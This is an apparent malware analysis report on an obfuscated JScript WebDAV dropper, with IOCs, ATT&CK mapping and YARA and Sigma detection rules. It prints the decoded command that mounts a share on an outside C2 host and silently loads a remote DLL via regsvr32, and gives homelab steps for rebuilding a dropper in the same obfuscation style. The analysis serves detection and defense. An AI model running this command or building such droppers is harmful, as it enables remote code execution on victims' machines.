typeanalysisfamilyunclassified-js-webdav-dropperconfidencehighcreated2026-06-21updated2026-06-21scriptdropperc2obfuscationdefense-evasionexecution
SHA-256: fa7e181d44a11eb59503c7af81e1607dc4359689bb89c24e0ac5c31295b406d7

unclassified-js-webdav-dropper: fa7e181d — eighth confirmed sibling, dictionary dialect on 45.9.74.36:8888

Executive Summary

A 4.7 KB JScript dropper using dictionary-based character-lookup obfuscation to assemble a WScript.Shell.run() call that mounts a WebDAV share and silently registers a remote DLL via regsvr32 /s. Eighth confirmed sibling of the unclassified-js-webdav-dropper family. Notable for bridging the dictionary-obfuscation dialect (previously tied to dailywebstats.com) with the 45.9.74.36:8888 C2 infrastructure shared by six batch-obfuscation siblings.

What It Is

Field Value
SHA-256 fa7e181d44a11eb59503c7af81e1607dc4359689bb89c24e0ac5c31295b406d7
Filename 3221932246670327539.js ^[metadata.json]
Size 4,667 bytes ^[file.txt]
Type ASCII text, very long lines (3,534 chars), CRLF terminators ^[file.txt]
Family unclassified-js-webdav-dropper
ssdeep 48:294m5Kts6Tao5F9oAPSb4bP7wj9StDjTq58yqOkK9TelZRQQAAk+lZRQQAv58c ^[ssdeep.txt]
YARA No matches ^[yara.txt]
CAPE Skipped — not a supported binary class ^[dynamic-analysis.md]

How It Works

The script opens with a 36-entry associative array nawsoskw mapping random 6–24 character keys to single printable characters (a-z, 0-9, space, backslash, dot, @, &, /) ^[strings.txt:1-35].

A fake try{whxg();}catch(atwmrmgbg){...} block wraps the payload. whxg is undefined, guaranteeing entry into the catch clause — a gating idiom also seen in sibling e6ebae6a (which used uzdjzsuqjxofr).

Inside the catch, the script builds the command string via Function('return this')()['WScript']['CreateObject']('WScript.Shell')['run'](cmd, 0, false):

cmd /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\32238313189311.dll

The 0 and false arguments to .run() suppress the window and set non-blocking execution ^[strings.txt:37].

Decompiled Behavior

Not applicable — this is a plaintext JScript file with no compiled payload. Static inspection of strings.txt is sufficient.

C2 Infrastructure

Indicator Value
WebDAV endpoint \\45.9.74.36@8888\davwwwroot\
Payload DLL 32238313189311.dll
Execution vector regsvr32 /s (T1218.010)

The IP 45.9.74.36 and port 8888 match the C2 of six batch-obfuscation siblings (ffd5d894, e9e82d14, f170f5a9, ed6b2cd3, and two others) ^[/intel/analyses/ffd5d894f5e350baace2342fc3c2c7de63a82138469db1694c35c732cf0c9df4.html]. This is the first time the dictionary-lookup dialect has been observed against that same infrastructure, suggesting a single operator rotates obfuscation engines across a stable backend.

Interesting Tidbits

  • Dictionary size: Only 36 entries (vs. 62 in sibling e6ebae6a), covering just the characters needed for this specific command. Minimalist, not exhaustive.
  • Key length: Ranges from 4 (kusy) to 24 (jrisgzwfhrrferbiudr) characters. No pattern — pure noise.
  • No PowerShell wrapper: Unlike e6ebae6a, this sample calls cmd /k directly through WScript.Shell.run(). No -EncodedCommand or -WindowStyle Hidden indirection.
  • No wordpad decoy: The batch siblings launch wordpad after payload execution to maintain user illusion; this JS variant does not.
  • No sandbox gate: No connectivity checks, no process-list enumeration, no VM detection. Runs on first open.

How To Mess With It (Homelab Replication)

  1. Generate a dictionary-obfuscated JS dropper matching this dialect:
    • Create 30–40 random keys mapping to the exact characters needed for your command.
    • Wrap in try{fake();}catch(e){...}.
    • Use Function('return this')()['WScript']['Shell']['run'](cmd, 0, false).
  2. Host a benign test DLL on a local WebDAV server (see webdav-regsvr32-dll-sideloading reproduction notes).
  3. Run on a Windows VM by double-clicking the .js file.
  4. Verify: wscript.execmd.exenet.exeregsvr32.exe with UNC path.

Deployable Signatures

YARA

rule JS_WebDAV_Dropper_Dictionary_Lookup : script dropper {
    meta:
        description = "JScript WebDAV dropper with dictionary char-lookup obfuscation"
        author = "PacketPursuit"
        reference = "fa7e181d44a11eb59503c7af81e1607dc4359689bb89c24e0ac5c31295b406d7"
    strings:
        $a = /\w+\[\'[a-z]{4,24}\'\]=\'[a-z0-9]\';/
        $b = "Function(''+"
        $c = "'WScript'"
        $d = /net use \\\\[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}@8888\\DavWWWRoot/
        $e = "regsvr32 /s"
    condition:
        filesize < 10KB and
        #a > 25 and
        $b and ($c or $d or $e)
}

Behavioral Hunt Query (Sigma)

title: WebDAV Regsvr32 from JScript Parent
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith: '\wscript.exe'
    CommandLine|contains:
      - 'regsvr32'
      - 'DavWWWRoot'
  condition: selection
falsepositives:
  - Unlikely in enterprise environments
level: high

IOC List

Type Value
SHA-256 fa7e181d44a11eb59503c7af81e1607dc4359689bb89c24e0ac5c31295b406d7
Filename 3221932246670327539.js
ssdeep 48:294m5Kts6Tao5F9oAPSb4bP7wj9StDjTq58yqOkK9TelZRQQAAk+lZRQQAv58c
C2 IP 45.9.74.36
C2 Port 8888
Payload DLL 32238313189311.dll
Command cmd /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\32238313189311.dll

Detection Signatures (capa → ATT&CK)

Not applicable — capa does not support script files. ATT&CK mapping derived from static deobfuscation:

Tactic Technique Evidence
Execution T1059.005 (Visual Basic / JScript) .js file executed by wscript.exe ^[strings.txt]
Execution T1059.003 (Windows Command Shell) cmd /k spawned via WScript.Shell.run() ^[strings.txt:37]
Execution T1218.010 (Regsvr32) regsvr32 /s loads remote DLL ^[strings.txt:37]
Defense Evasion T1218 (System Binary Proxy Execution) wscript.exe proxies execution of payload ^[strings.txt]
Defense Evasion T1027 (Obfuscated Files or Information) Dictionary lookup-table obfuscation ^[strings.txt:1-35]
Command & Control T1071.001 (Web Protocols) WebDAV over HTTP (\\host@8888\DavWWWRoot\) ^[strings.txt:37]
Command & Control T1105 (Ingress Tool Transfer) net use mounts share; regsvr32 fetches and loads DLL ^[strings.txt:37]

References

Provenance

  • file.txt — file(1) output
  • strings.txt — full script content (decoded inline)
  • metadata.json — OpenCTI artifact metadata
  • ssdeep.txt — fuzzy hash
  • yara.txt — empty YARA match set
  • dynamic-analysis.md — CAPE skip notice (not a binary)
  • Manual deobfuscation via Python regex substitution against dictionary entries